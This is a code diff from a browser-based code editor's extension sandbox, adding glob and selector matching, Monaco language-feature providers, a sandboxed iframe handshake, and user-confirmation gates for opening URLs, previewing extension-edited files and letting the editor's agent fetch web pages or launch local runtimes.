31+ return out;
32+}
33+function tokens(p) {
34+ const t = [];
35+ for (let i = 0; i < p.length; i++) {
36+ const c = p[i];
37+ if (c === '*') {
38+ if (p[i + 1] === '*') { t.push({ k: 'G' }); while (p[i + 1] === '*') i++; }
39+ else t.push({ k: 'S' });
40+ } else if (c === '?') t.push({ k: 'A' });
41+ else if (c === '[') {
42+ const j = p.indexOf(']', i + 2);
43+ if (j < 0) { t.push({ k: 'L', c }); continue; }
44+ let body = p.slice(i + 1, j);
45+ const neg = body[0] === '!' || body[0] === '^';
46+ if (neg) body = body.slice(1);
47+ const ranges = [];
48+ for (let k = 0; k < body.length; k++) {
49+ if (body[k + 1] === '-' && k + 2 < body.length) { ranges.push([body[k], body[k + 2]]); k += 2; }
50+ else ranges.push([body[k], body[k]]);
51+ }
52+ t.push({ k: 'C', neg, ranges });
53+ i = j;
54+ } else t.push({ k: 'L', c: c === '\\' ? '/' : c });
55+ }
56+ return t;
57+}
58+function run(t, path) {
59+ const closure = set => {
60+ for (const i of [...set]) for (let k = i; k < t.length && (t[k].k === 'S' || t[k].k === 'G'); k++) set.add(k + 1);
61+ return set;
62+ };
63+ let cur = closure(new Set([0]));
64+ for (const ch of path) {
65+ const next = new Set();
66+ for (const i of cur) {
67+ const tok = t[i];
68+ if (!tok) continue;
69+ if (tok.k === 'G') next.add(i);
70+ else if (tok.k === 'S') { if (ch !== '/') next.add(i); }
71+ else if (tok.k === 'A') { if (ch !== '/') next.add(i + 1); }
72+ else if (tok.k === 'C') { if (ch !== '/' && tok.ranges.some(([a, b]) => ch >= a && ch <= b) !== tok.neg) next.add(i + 1); }
73+ else if (tok.c === ch) next.add(i + 1);
74+ }
75+ if (!next.size) return false;
76+ cur = closure(next);
77+ }
78+ return cur.has(t.length);
79+}
80+export function globMatch(pattern, path) {
81+ if (typeof pattern !== 'string' || pattern.length > 500 || typeof path !== 'string') return false;
82+ const p = pattern.replace(/\\/g, '/');
83+ return expandBraces(p).some(x => run(tokens(x), path));
84+}
85+
86+// selector del recinto → { languages para Monaco, filtros que se comprueban aquí }
87+export function compileSelector(selector) {
88+ const filters = [];
89+ for (const f of Array.isArray(selector) ? selector : []) {
90+ if (!f) continue;
91+ if (f.scheme && !['file', 'untitled', '*'].includes(f.scheme)) continue;
92+ filters.push({ language: f.language || '*', pattern: f.pattern || null });
93+ }
94+ const langs = new Set(filters.map(f => f.language));
95+ return { filters, monacoSelector: langs.has('*') ? '*' : [...langs], hasLanguage: filters.some(f => f.language !== '*') };
96+}
97+export function selectorMatches(filters, path, languageId) {
98+ const fsPath = '/' + path;
99+ return filters.some(f => (f.language === '*' || f.language === languageId) && (!f.pattern || globMatch(f.pattern, fsPath) || globMatch(f.pattern, path)));
100+}
101+
102+export class Features {
103+ // call(kind, handle, model, args, token) → valor del recinto, o null si no aplica
104+ constructor({ monaco, call, docs, touched = () => {}, release = () => {}, report = () => {} }) {
105+ this.monaco = monaco;
106+ this.call = call;
107+ this.docs = docs;
108+ this.touched = touched;
109+ this.release = release;
110+ this.report = report;
111+ this.handles = new Map(); // handle → { kind, dispose }
112+ this.specs = new Map(); // handle → lo que mandó el recinto (para volver a registrarlo)
113+ this.prefs = new Map(); // id de extensión → { lenguaje: 'builtin' | 'extension' }
114+ }
115+
116+ // Formateador por lenguaje: «de serie» quita el de esa extensión para ese
117+ // lenguaje (Monaco elige el más nuevo, así que si no, ganaría la extensión).
118+ setPrefs(prefs) {
119+ const next = new Map([...prefs].map(([k, v]) => [String(k).toLowerCase(), v || {}]));
120+ if (JSON.stringify([...next]) === JSON.stringify([...this.prefs])) return;
121+ this.prefs = next;
122+ for (const spec of [...this.specs.values()]) if (spec.kind.startsWith('format')) { this.remove(spec.handle); this.add(spec); }
123+ }
124+ // lenguajes con formateador de cada extensión (para el panel)
125+ formatters() {
126+ const out = {};
127+ for (const s of this.specs.values()) {
128+ if (!s.kind.startsWith('format') || typeof s.meta?.extension !== 'string') continue;
129+ const id = s.meta.extension.toLowerCase();
130+ const langs = (Array.isArray(s.selector) ? s.selector : []).map(f => f && f.language).filter(l => typeof l === 'string' && l !== '*');
131+ out[id] = [...new Set([...(out[id] || []), ...langs])].sort();
132+ }
133+ return out;
134+ }
135+
136+ add(spec) {
137+ const { handle, kind, selector, meta = {} } = spec;
138+ const { monaco, docs } = this;
139+ this.specs.set(handle, spec);
140+ const sel = compileSelector(selector);
141+ if (!sel.filters.length) { this.report(handle, kind, 'its selector targets documents Code does not have'); return; }
142+ if (kind.startsWith('format') && !sel.hasLanguage) { this.report(handle, kind, 'formatters need a language; this one only names file patterns'); return; }
143+ if (kind.startsWith('format') && Array.isArray(sel.monacoSelector)) {
144+ const pref = this.prefs.get(String(meta.extension || '').toLowerCase()) || {};
145+ sel.monacoSelector = sel.monacoSelector.filter(l => pref[l] !== 'builtin');
146+ if (!sel.monacoSelector.length) return; // el usuario prefiere el de serie en todos sus lenguajes
147+ }
148+ const ask = async (k, model, args, token) => {
149+ const path = docs.pathOf(model);
150+ if (!path || !selectorMatches(sel.filters, path, model.getLanguageId())) return null;
151+ return this.call(k, handle, model, args, token);
152+ };
153+ const pos = p => [p.lineNumber, p.column];
154+ const rng = r => [r.startLineNumber, r.startColumn, r.endLineNumber, r.endColumn];
155+ const opts = o => ({ tabSize: o?.tabSize, insertSpaces: !!o?.insertSpaces });
156+ const L = monaco.languages;
157+ const edited = (model, edits) => { if (edits.length) this.touched(model); return edits; };
158+ const modelForUri = uri => docs.modelForUri(uri);
159+ const uriOf = m => docs.uriOf(m);
160+ const strs = (v, n) => (Array.isArray(v) ? v.filter(c => typeof c === 'string' && c.length === 1).slice(0, n) : []);
161+ let d;
162+ switch (kind) {
163+ case 'format':
164+ d = L.registerDocumentFormattingEditProvider(sel.monacoSelector, {
165+ displayName: typeof meta.displayName === 'string' ? meta.displayName.slice(0, 100) : undefined,
166+ provideDocumentFormattingEdits: async (model, o, token) => edited(model, convert.textEdits(monaco, model, (await ask('format', model, { options: opts(o) }, token))?.edits)),
167+ });
168+ break;
169+ case 'formatRange':
170+ d = L.registerDocumentRangeFormattingEditProvider(sel.monacoSelector, {
171+ displayName: typeof meta.displayName === 'string' ? meta.displayName.slice(0, 100) : undefined,
172+ provideDocumentRangeFormattingEdits: async (model, r, o, token) => edited(model, convert.textEdits(monaco, model, (await ask('formatRange', model, { range: rng(r), options: opts(o) }, token))?.edits)),
173+ });
174+ break;
175+ case 'formatOnType': {
176+ const chars = strs(meta.triggerCharacters, 20);
177+ if (!chars.length) return;
178+ d = L.registerOnTypeFormattingEditProvider(sel.monacoSelector, {
179+ autoFormatTriggerCharacters: chars,
180+ provideOnTypeFormattingEdits: async (model, p, ch, o, token) => edited(model, convert.textEdits(monaco, model, (await ask('formatOnType', model, { position: pos(p), ch, options: opts(o) }, token))?.edits)),
181+ });
182+ break;
183+ }
184+ case 'hover':
185+ d = L.registerHoverProvider(sel.monacoSelector, {
186+ provideHover: async (model, p, token) => convert.hover(monaco, model, await ask('hover', model, { position: pos(p) }, token)),
187+ });
188+ break;
189+ case 'completion': {
190+ const resolve = meta.resolve === true;
191+ const owners = new WeakMap();
192+ d = L.registerCompletionItemProvider(sel.monacoSelector, {
193+ triggerCharacters: strs(meta.triggerCharacters, 50),
194+ provideCompletionItems: async (model, p, context, token) => {
195+ const v = await ask('completion', model, { position: pos(p), triggerKind: context?.triggerKind, triggerCharacter: context?.triggerCharacter }, token);
196+ if (!v || !Array.isArray(v.suggestions)) return null;
197+ const suggestions = v.suggestions.slice(0, 5000).map(it => convert.completionItem(monaco, model, p, it)).filter(Boolean);
198+ for (const s of suggestions) owners.set(s, model);
199+ // aceptar una puede meter texto de la extensión en el documento
200+ if (suggestions.length) this.touched(model);
201+ const hs = suggestions.map(convert.handleOfItem).filter(Number.isSafeInteger);
202+ return { suggestions, incomplete: v.incomplete === true, dispose: () => this.release(hs) };
203+ },
204+ ...(resolve ? {
205+ resolveCompletionItem: async (item, token) => {
206+ const model = owners.get(item), h = convert.handleOfItem(item);
207+ if (!model || model.isDisposed() || !Number.isSafeInteger(h)) return item;
208+ const v = await this.call('completion.resolve', handle, model, { item: h }, token);
209+ if (!v) return item;
210+ const r = convert.completionItem(monaco, model, model.validatePosition({ lineNumber: 1, column: 1 }), { ...v, range: undefined });
211+ if (!r) return item;
212+ // solo los detalles: lo que se inserta no cambia al resolver
213+ return { ...item, detail: r.detail ?? item.detail, documentation: r.documentation ?? item.documentation, additionalTextEdits: r.additionalTextEdits ?? item.additionalTextEdits, command: r.command ?? item.command };
214+ },
215+ } : {}),
216+ });
217+ break;
218+ }
219+ case 'signature':
220+ d = L.registerSignatureHelpProvider(sel.monacoSelector, {
221+ signatureHelpTriggerCharacters: strs(meta.triggerCharacters, 20),
222+ signatureHelpRetriggerCharacters: strs(meta.retriggerCharacters, 20),
223+ provideSignatureHelp: async (model, p, token, context) => {
224+ const value = convert.signatureHelp(await ask('signature', model, { position: pos(p), triggerKind: context?.triggerKind, triggerCharacter: context?.triggerCharacter, isRetrigger: !!context?.isRetrigger }, token));
225+ return value ? { value, dispose() {} } : null;
226+ },
227+ });
228+ break;
229+ case 'codeAction': {
230+ const resolve = meta.resolve === true;
231+ const owners = new WeakMap();
232+ d = L.registerCodeActionProvider(sel.monacoSelector, {
233+ provideCodeActions: async (model, r, context, token) => {
234+ const v = await ask('codeAction', model, { range: rng(r), trigger: context?.trigger, only: context?.only }, token);
235+ if (!v || !Array.isArray(v.actions)) return { actions: [], dispose() {} };
236+ const actions = v.actions.slice(0, 500).map(a => convert.codeAction(monaco, model, uriOf, a)).filter(Boolean);
237+ for (const a of actions) { owners.set(a, model); if (a.edit) this.touched(model); }
238+ const hs = actions.map(convert.handleOfItem).filter(Number.isSafeInteger);
239+ return { actions, dispose: () => this.release(hs) };
240+ },
241+ ...(resolve ? {
242+ resolveCodeAction: async (action, token) => {
243+ const model = owners.get(action), h = convert.handleOfItem(action);
244+ if (!model || model.isDisposed() || !Number.isSafeInteger(h)) return action;
245+ const v = await this.call('codeAction.resolve', handle, model, { action: h }, token);
246+ const r = v && convert.codeAction(monaco, model, uriOf, v);
247+ return r ? { ...action, edit: r.edit ?? action.edit, disabled: r.disabled ?? action.disabled, command: r.command ?? action.command } : action;
248+ },
249+ } : {}),
250+ // sin tipos declarados, ninguno: Monaco descartaría el proveedor al pedir «solo arreglos»
251+ }, { providedCodeActionKinds: Array.isArray(meta.kinds) && meta.kinds.length ? meta.kinds.filter(k => typeof k === 'string').slice(0, 50) : undefined });
252+ break;
253+ }
254+ case 'symbols':
255+ d = L.registerDocumentSymbolProvider(sel.monacoSelector, {
256+ displayName: typeof meta.displayName === 'string' ? meta.displayName.slice(0, 100) : undefined,
257+ provideDocumentSymbols: async (model, token) => convert.symbols(monaco, model, (await ask('symbols', model, {}, token))?.symbols),
258+ });
259+ break;
260+ case 'definition': case 'declaration': case 'typeDefinition': case 'implementation': {
261+ const reg = { definition: 'registerDefinitionProvider', declaration: 'registerDeclarationProvider', typeDefinition: 'registerTypeDefinitionProvider', implementation: 'registerImplementationProvider' }[kind];
262+ const method = { definition: 'provideDefinition', declaration: 'provideDeclaration', typeDefinition: 'provideTypeDefinition', implementation: 'provideImplementation' }[kind];
263+ d = L[reg](sel.monacoSelector, { [method]: async (model, p, token) => convert.locations(monaco, (await ask(kind, model, { position: pos(p) }, token))?.locations, modelForUri) });
264+ break;
265+ }
266+ case 'references':
267+ d = L.registerReferenceProvider(sel.monacoSelector, {
268+ provideReferences: async (model, p, context, token) => convert.locations(monaco, (await ask('references', model, { position: pos(p), includeDeclaration: context?.includeDeclaration !== false }, token))?.locations, modelForUri),
269+ });
270+ break;
271+ case 'highlights':
272+ d = L.registerDocumentHighlightProvider(sel.monacoSelector, {
273+ provideDocumentHighlights: async (model, p, token) => convert.highlights(monaco, model, (await ask('highlights', model, { position: pos(p) }, token))?.highlights),
274+ });
275+ break;
276+ case 'rename':
277+ d = L.registerRenameProvider(sel.monacoSelector, {
278+ provideRenameEdits: async (model, p, newName, token) => {
279+ const w = convert.workspaceEdit(monaco, model, uriOf, await ask('rename', model, { position: pos(p), newName }, token));
280+ if (!w.edit) return { edits: [], rejectReason: w.reason || 'nothing to rename' };
281+ this.touched(model);
282+ return w.edit;
283+ },
284+ ...(meta.resolve === true ? {
285+ resolveRenameLocation: async (model, p, token) => {
286+ const v = await ask('rename.resolve', model, { position: pos(p) }, token);
287+ if (!v) return null;
288+ const r = convert.range(monaco, model, v.range);
289+ return r ? { range: r, text: typeof v.text === 'string' ? v.text.slice(0, 1000) : model.getValueInRange(r), rejectReason: typeof v.rejectReason === 'string' ? v.rejectReason.slice(0, 1000) : undefined } : null;
290+ },
291+ } : {}),
292+ });
293+ break;
294+ default:
295+ return;
296+ }
297+ this.handles.set(handle, { kind, dispose: () => d?.dispose() });
298+ }
299+
300+ remove(handle) {
301+ this.specs.delete(handle);
302+ const h = this.handles.get(handle);
303+ if (!h) return;
304+ this.handles.delete(handle);
305+ try { h.dispose(); } catch { /* ya fuera */ }
306+ }
307+
308+ kinds() { return [...this.handles.values()].map(h => h.kind); }
309+ dispose() { for (const k of [...this.handles.keys()]) this.remove(k); this.specs.clear(); }
310+}
added web/js/ext2/frame.js +63 −0
@@ -0,0 +1,63 @@
1+// El iframe del recinto y el apretón de manos. La página solo acepta del
2+// iframe dos mensajes por window.postMessage («hello» y «fatal»), con origen
3+// y fuente exactos; a partir de ahí todo va por un MessagePort que crea la
4+// página. Un segundo «load» del iframe (el recinto navegó) lo desmonta.
5+import { SANDBOX_DOC } from './config.js';
6+
7+const fallo = (code, msg) => Object.assign(new Error(msg), { code });
8+
9+export function openSandbox(origin, { timeout = 20000, onLost = () => {} } = {}) {
10+ const iframe = document.createElement('iframe');
11+ iframe.id = 'x2-sandbox';
12+ iframe.setAttribute('sandbox', 'allow-scripts allow-same-origin');
13+ iframe.setAttribute('allow', '');
14+ iframe.setAttribute('referrerpolicy', 'no-referrer');
15+ iframe.setAttribute('title', 'Extension sandbox');
16+ iframe.setAttribute('aria-hidden', 'true');
17+ iframe.setAttribute('tabindex', '-1');
18+ iframe.inert = true;
19+ // dentro de la ventana (un iframe de otro origen fuera de ella o de tamaño
20+ // cero se ralentiza), pero invisible y sin recibir nada
21+ iframe.style.cssText = 'position:fixed;right:0;bottom:0;width:1px;height:1px;opacity:0;border:0;pointer-events:none;z-index:-1';
22+ iframe.src = origin + SANDBOX_DOC;
23+
24+ let cargas = 0, listo = false, cerrado = false, onMsg = null;
25+ const quitar = () => {
26+ cerrado = true;
27+ if (onMsg) window.removeEventListener('message', onMsg);
28+ iframe.remove();
29+ };
30+ const promesa = new Promise((resolve, reject) => {
31+ const reloj = setTimeout(() => { quitar(); reject(fallo('timeout', 'el recinto de extensiones no contestó')); }, timeout);
32+ iframe.addEventListener('load', () => {
33+ if (++cargas > 1 && !cerrado) {
34+ quitar();
35+ if (listo) onLost(fallo('navigated', 'el recinto de extensiones se recargó solo'));
36+ else { clearTimeout(reloj); reject(fallo('navigated', 'el recinto de extensiones se recargó solo')); }
37+ }
38+ });
39+ onMsg = e => {
40+ if (e.source !== iframe.contentWindow || e.origin !== origin) return;
41+ const d = e.data;
42+ if (!d || typeof d !== 'object' || listo) return;
43+ if (d.x2 === 'fatal') {
44+ clearTimeout(reloj); quitar();
45+ reject(fallo(d.reason === 'csp' ? 'csp' : 'fatal', d.reason === 'csp'
46+ ? 'el recinto se negó a arrancar: su política de seguridad no bloquea la red'
47+ : 'el recinto de extensiones falló al arrancar'));
48+ return;
49+ }
50+ if (d.x2 !== 'hello' || d.v !== 1) return;
51+ listo = true;
52+ clearTimeout(reloj);
53+ window.removeEventListener('message', onMsg);
54+ onMsg = null;
55+ const canal = new MessageChannel();
56+ iframe.contentWindow.postMessage({ x2: 'init' }, origin, [canal.port2]);
57+ resolve({ port: canal.port1, iframe, close: () => { canal.port1.close(); quitar(); } });
58+ };
59+ window.addEventListener('message', onMsg);
60+ });
61+ document.body.appendChild(iframe);
62+ return promesa;
63+}
added web/js/ext2/gates.js +274 −0
@@ -0,0 +1,274 @@
1+// Puertas de Code ante lo que sale de una extensión con código.
2+//
3+// · Abrir una dirección externa (open.request del recinto, y Cmd+clic en un
4+// enlace del editor mientras corren extensiones): un diálogo enseña la
5+// dirección ENTERA, con los caracteres de control y bidi visibles, el host
6+// en Unicode y en punycode si difieren y el sitio aparte. Cancelar es lo
7+// que hay por defecto; solo http, https y mailto se pueden abrir, y solo
8+// con window.open(…, 'noopener,noreferrer'). Uno a la vez.
9+// · Vista previa HTML de un fichero que una extensión tocó (su texto entró
10+// en el documento): la vista previa ejecuta scripts con red e incrusta
11+// ficheros del proyecto, así que se pregunta antes.
12+// · El agente, mientras corren extensiones: sus peticiones web y los
13+// runtimes del Bridge preguntan antes, con la URL o la orden entera, para
14+// que un texto escrito por una extensión no pueda sacar datos por él.
15+import { modal, userActive } from './ui.js';
16+import { tx } from '../ext/i18n.js';
17+import './strings.js';
18+import * as db from '../db.js';
19+
20+const el = (tag, cls, txt) => { const e = document.createElement(tag); if (cls) e.className = cls; if (txt != null) e.textContent = txt; return e; };
21+
22+// ── direcciones: lo invisible, visible ──
23+// Controles C0/C1, marcas bidi y de ancho cero, separadores de línea y BOM.
24+// (rangos de puntos de código, sin escribir los caracteres: algunos ni se ven)
25+const INVISIBLE = [[0x0, 0x1F], [0x7F, 0x9F], [0xAD, 0xAD], [0x61C, 0x61C], [0x115F, 0x1160], [0x17B4, 0x17B5], [0x180E, 0x180E], [0x200B, 0x200F],
26+ [0x2028, 0x202E], [0x2060, 0x206F], [0x3164, 0x3164], [0xFE00, 0xFE0F], [0xFEFF, 0xFEFF], [0xFFA0, 0xFFA0], [0xFFF9, 0xFFFB], [0xE0000, 0xE007F]];
27+const invisible = cp => INVISIBLE.some(([a, b]) => cp >= a && cp <= b);
28+const hex = c => '<U+' + c.codePointAt(0).toString(16).toUpperCase().padStart(4, '0') + '>';
29+export function visibleParts(s) {
30+ const out = [];
31+ let txt = '';
32+ for (const ch of String(s)) {
33+ if (invisible(ch.codePointAt(0))) { if (txt) { out.push({ t: txt }); txt = ''; } out.push({ cc: hex(ch) }); }
34+ else txt += ch;
35+ }
36+ if (txt) out.push({ t: txt });
37+ return out;
38+}
39+export const visibleText = s => visibleParts(s).map(p => p.t ?? p.cc).join('');
40+
41+// punycode (RFC 3492): solo decodificar, para enseñar el host en Unicode
42+function punyDecode(input) {
43+ const base = 36, tMin = 1, tMax = 26, skew = 38, damp = 700;
44+ let n = 128, i = 0, bias = 72;
45+ const out = [];
46+ let b = input.lastIndexOf('-');
47+ if (b < 0) b = 0;
48+ for (let j = 0; j < b; j++) { if (input.charCodeAt(j) >= 0x80) return null; out.push(input.charCodeAt(j)); }
49+ const digit = c => (c >= 48 && c <= 57 ? c - 22 : c >= 65 && c <= 90 ? c - 65 : c >= 97 && c <= 122 ? c - 97 : base);
50+ const adapt = (delta, num, first) => {
51+ let k = 0;
52+ delta = first ? Math.floor(delta / damp) : delta >> 1;
53+ delta += Math.floor(delta / num);
54+ for (; delta > ((base - tMin) * tMax) >> 1; k += base) delta = Math.floor(delta / (base - tMin));
55+ return Math.floor(k + (base - tMin + 1) * delta / (delta + skew));
56+ };
57+ for (let idx = b > 0 ? b + 1 : 0; idx < input.length;) {
58+ const oldi = i;
59+ for (let w = 1, k = base; ; k += base) {
60+ if (idx >= input.length) return null;
61+ const d = digit(input.charCodeAt(idx++));
62+ if (d >= base) return null;
63+ i += d * w;
64+ const t = k <= bias ? tMin : k >= bias + tMax ? tMax : k - bias;
65+ if (d < t) break;
66+ w *= base - t;
67+ if (w > 1e9) return null;
68+ }
69+ bias = adapt(i - oldi, out.length + 1, oldi === 0);
70+ n += Math.floor(i / (out.length + 1));
71+ i %= out.length + 1;
72+ if (n > 0x10FFFF) return null;
73+ out.splice(i++, 0, n);
74+ }
75+ try { return String.fromCodePoint(...out); } catch { return null; }
76+}
77+export function unicodeHost(host) {
78+ return String(host).split('.').map(l => {
79+ if (!/^xn--/i.test(l)) return l;
80+ const d = punyDecode(l.slice(4).toLowerCase());
81+ return d == null ? l : d;
82+ }).join('.');
83+}
84+
85+// Lo que el diálogo enseña de una dirección. `href` es lo que se abriría: la
86+// dirección ya normalizada por el navegador, que es exactamente lo que llega.
87+export function describeUrl(s) {
88+ let u;
89+ try { u = new URL(String(s)); } catch { return { ok: false, href: String(s), scheme: '', openable: false }; }
90+ const scheme = u.protocol.replace(/:$/, '').toLowerCase();
91+ const openable = scheme === 'http' || scheme === 'https' || scheme === 'mailto';
92+ const host = u.hostname;
93+ const uni = host ? unicodeHost(host) : '';
94+ let site = host;
95+ if (scheme === 'mailto') {
96+ let path = u.pathname;
97+ try { path = decodeURIComponent(path); } catch { /* codificación rota: tal cual */ }
98+ site = (/@([^?&#]+)/.exec(path) || [])[1] || '';
99+ }
100+ return { ok: true, href: u.href, scheme, openable, host, hostUnicode: uni !== host ? uni : null, site, original: String(s) };
101+}
102+
103+// «Sitio: ejemplo.org» (en Unicode, y en punycode si difiere)
104+function siteLine(info, cls) {
105+ const site = el('p', cls, tx('x2OpenSite') + ' ');
106+ site.appendChild(el('b', null, visibleText(info.hostUnicode || info.site)));
107+ if (info.hostUnicode) site.appendChild(document.createTextNode(' ' + tx('x2OpenPuny', { host: info.host })));
108+ return site;
109+}
110+
111+function addressBox(href) {
112+ const box = el('div', 'x2-code x2-address');
113+ for (const p of visibleParts(href)) {
114+ if (p.t !== undefined) box.appendChild(document.createTextNode(p.t));
115+ else box.appendChild(el('span', 'x2-cc', p.cc));
116+ }
117+ return box;
118+}
119+
120+// ── abrir una dirección ──
121+export class OpenGate {
122+ constructor({ log = () => {}, opener = (url) => window.open(url, '_blank', 'noopener,noreferrer'), onDropped = () => {}, onChange = () => {} } = {}) {
123+ this.log = log;
124+ this.opener = opener;
125+ this.onDropped = onDropped; // una petición bloqueada: se dice (barra de estado)
126+ this.onChange = onChange; // bloqueado o no (el panel lo enseña)
127+ this.busy = false;
128+ this.blocked = false;
129+ this.dropped = 0;
130+ this.opened = 0;
131+ this.shown = []; // lo que enseñó el diálogo (para las pruebas y el registro)
132+ }
133+
134+ // «Bloquear» es para lo que piden las extensiones: un enlace que el propio
135+ // usuario abre con Cmd+clic en el editor sigue preguntando.
136+ unblock() { if (this.blocked) { this.blocked = false; this.log('info', 'address requests from extensions are allowed to ask again'); this.onChange(); } }
137+
138+ async request(url, { fromEditor = false } = {}) {
139+ if (this.blocked && !fromEditor) {
140+ this.dropped++;
141+ this.log('warn', 'an address was not opened: requests are blocked for this session');
142+ this.onDropped(this.dropped);
143+ return false;
144+ }
145+ if (this.busy) { this.dropped++; this.log('warn', 'an address was not opened: another one is waiting for an answer'); return false; }
146+ const info = describeUrl(url);
147+ const clicked = userActive();
148+ this.busy = true;
149+ this.shown.push({ href: info.href, original: info.original, clicked });
150+ if (this.shown.length > 50) this.shown.shift();
151+ try {
152+ const body = [el('p', 'x2-modal-text', fromEditor ? tx('x2OpenBodyLink') : tx('x2OpenBody'))];
153+ if (info.ok && info.site) body.push(siteLine(info, 'x2-site'));
154+ if (!clicked) body.push(el('p', 'x2-note', tx('x2OpenNoClick')));
155+ if (!info.ok) body.push(el('p', 'x2-note', tx('x2OpenInvalid')));
156+ else if (!info.openable) body.push(el('p', 'x2-note', tx('x2OpenScheme', { scheme: info.scheme })));
157+ const buttons = [
158+ { label: tx('x2Cancel'), value: 'cancel' },
159+ { label: tx('x2OpenCopy'), value: 'copy', onClick: async b => { try { await navigator.clipboard.writeText(info.href); b.textContent = tx('x2OpenCopied'); } catch { b.textContent = tx('x2OpenCopyFailed'); } return true; } },
160+ ];
161+ if (info.ok && info.openable) buttons.push({ label: tx('x2OpenOpen'), value: 'open', primary: true });
162+ // (un enlace del propio usuario no se bloquea: ese botón es para las extensiones)
163+ if (!fromEditor) buttons.push({ label: tx('x2OpenBlock'), value: 'block', className: 'x2-block' });
164+ // en un teléfono la dirección larga no empuja el título ni el sitio fuera
165+ // de la vista: tiene su propio scroll, y el sitio se repite junto a los botones
166+ const after = info.ok && info.site ? [siteLine(info, 'x2-site x2-site-again')] : [];
167+ const v = await modal({ id: 'x2-open', title: tx('x2OpenTitle'), body, code: addressBox(info.href), after, buttons, cancelValue: 'cancel', focus: 0 });
168+ if (v === 'block') { this.blocked = true; this.log('info', 'address requests from extensions are blocked for this session'); this.onChange(); return false; }
169+ if (v !== 'open' || !info.openable) return false;
170+ this.opener(info.href);
171+ this.opened++;
172+ return true;
173+ } finally { this.busy = false; }
174+ }
175+}
176+
177+// ── vista previa de un fichero que tocó una extensión ──
178+const TOUCHED = 'x2.touched';
179+let marcas = null, guardando = null;
180+async function leeMarcas() {
181+ if (!marcas) { try { marcas = (await db.get('kv', TOUCHED)) || {}; } catch { marcas = {}; } }
182+ return marcas;
183+}
184+function guarda() {
185+ guardando ??= Promise.resolve().then(async () => { guardando = null; try { await db.set('kv', TOUCHED, { ...marcas }); } catch { /* sin almacenamiento */ } });
186+ return guardando;
187+}
188+export async function markTouched(path) {
189+ if (typeof path !== 'string' || !path) return;
190+ const m = await leeMarcas();
191+ if (m[path]) return;
192+ m[path] = true;
193+ await guarda();
194+}
195+export async function isTouched(path) { return !!(await leeMarcas())[path]; }
196+// «Previsualizar igualmente»: la marca se va hasta la próxima edición de una extensión
197+export async function clearTouched(path) {
198+ const m = await leeMarcas();
199+ if (!m[path]) return;
200+ delete m[path];
201+ await guarda();
202+}
203+
204+let previewOpen = null;
205+export function previewDialog(path) {
206+ previewOpen ??= (async () => {
207+ try {
208+ const v = await modal({
209+ id: 'x2-preview', title: tx('x2PreviewTitle'),
210+ body: [tx('x2PreviewBody')], code: path,
211+ buttons: [{ label: tx('x2Cancel'), value: false }, { label: tx('x2PreviewAnyway'), value: true, primary: true }],
212+ cancelValue: false, focus: 0,
213+ });
214+ if (v === true) { await clearTouched(path); return true; }
215+ return false;
216+ } finally { previewOpen = null; }
217+ })();
218+ return previewOpen;
219+}
220+// El guardián que pone host.js: sin marca no carga nada más; con marca pregunta.
221+export async function allowPreview(path) {
222+ if (!(await isTouched(path))) return true;
223+ return previewDialog(path);
224+}
225+
226+// ── el agente, mientras corren extensiones ──
227+export const RUNTIMES = new Set(['node', 'npm', 'npx', 'python', 'python3', 'pip', 'yarn', 'pnpm', 'bun', 'deno', 'cargo', 'go']);
228+export const AGENT_DENIED = 'The user did not allow this request.';
229+// Primera palabra de cada orden de la línea (&&, ;, |), como la parte shell.js
230+export function commandHeads(line) {
231+ const heads = [];
232+ let cur = '', q = '';
233+ const flush = () => { const t = cur.trim().split(/\s+/)[0]; if (t) heads.push(t.replace(/^["']|["']$/g, '')); cur = ''; };
234+ const s = String(line);
235+ for (let i = 0; i < s.length; i++) {
236+ const ch = s[i];
237+ if (q) { cur += ch; if (ch === q) q = ''; continue; }
238+ if (ch === '"' || ch === "'") { q = ch; cur += ch; continue; }
239+ if (ch === ';' || ch === '|' || (ch === '&' && s[i + 1] === '&')) { flush(); if (ch === '&' || (ch === '|' && s[i + 1] === '|')) i++; continue; }
240+ cur += ch;
241+ }
242+ flush();
243+ return heads;
244+}
245+export const runsRuntime = line => commandHeads(line).some(h => RUNTIMES.has(h));
246+export const searchUrls = q => ['https://html.duckduckgo.com/html/?q=', 'https://lite.duckduckgo.com/lite/?q='].map(e => e + encodeURIComponent(String(q ?? '')));
247+
248+async function agentAsk(kind, lines) {
249+ const v = await modal({
250+ id: 'x2-agent', title: tx(kind === 'run' ? 'x2AgentRunTitle' : 'x2AgentWebTitle'),
251+ body: [tx('x2AgentBody')],
252+ code: lines.join('\n'),
253+ buttons: [{ label: tx('x2AgentDeny'), value: false }, { label: tx('x2AgentAllow'), value: true, primary: true }],
254+ cancelValue: false, focus: 0,
255+ });
256+ return v === true;
257+}
258+
259+// Envuelve web.fetch, web.search y terminal.run (solo si lanza un runtime
260+// del Bridge). Devuelve la función que lo deja todo como estaba.
261+export function installAgentGate(tools, { ask = agentAsk, log = () => {} } = {}) {
262+ const orig = {};
263+ const wrap = (name, fn) => {
264+ const t = tools[name];
265+ if (!t || typeof t.run !== 'function') return;
266+ orig[name] = t.run;
267+ t.run = async a => fn(a || {}, orig[name]);
268+ };
269+ const deny = what => { log('info', 'the user did not allow ' + what); return AGENT_DENIED; };
270+ wrap('web.fetch', async (a, run) => ((await ask('web', [String(a.url ?? '')])) ? run(a) : deny('a web request')));
271+ wrap('web.search', async (a, run) => ((await ask('web', searchUrls(a.query))) ? run(a) : deny('a web search')));
272+ wrap('terminal.run', async (a, run) => (!runsRuntime(a.command) || (await ask('run', [String(a.command ?? '')])) ? run(a) : deny('a local runtime')));
273+ return () => { for (const [name, fn] of Object.entries(orig)) if (tools[name]) tools[name].run = fn; };
274+}
added web/js/ext2/host2.js +147 −0
@@ -0,0 +1,147 @@
1+// Nivel 2 dentro del host de extensiones (js/ext/host.js): encender y apagar
2+// el código de una extensión, leer y guardar sus ficheros al instalarla con su
3+// código, sus ajustes y su formateador por lenguaje, y el puente con el
4+// recinto (bridge.js). host.js solo lo importa cuando hace falta: alguna
5+// extensión con su código encendido, o el usuario pide algo de esto. Quien solo
6+// usa temas, gramáticas y snippets no baja nada de aquí.
7+import * as store from '../ext/store.js';
8+
9+// TODOS los ficheros del paquete bajo extension/, en bytes, para entregarlos al
10+// recinto al encenderla. Fuera node_modules/** y los *.map, y ninguna ruta que
11+// salga del paquete. Topes contados sobre lo que sale al descomprimir: 32 MiB
12+// por fichero y 64 MiB por extensión. La página nunca ejecuta estos bytes.
13+export const RAW_MAX_ENTRY = 32 << 20, RAW_MAX_TOTAL = 64 << 20;
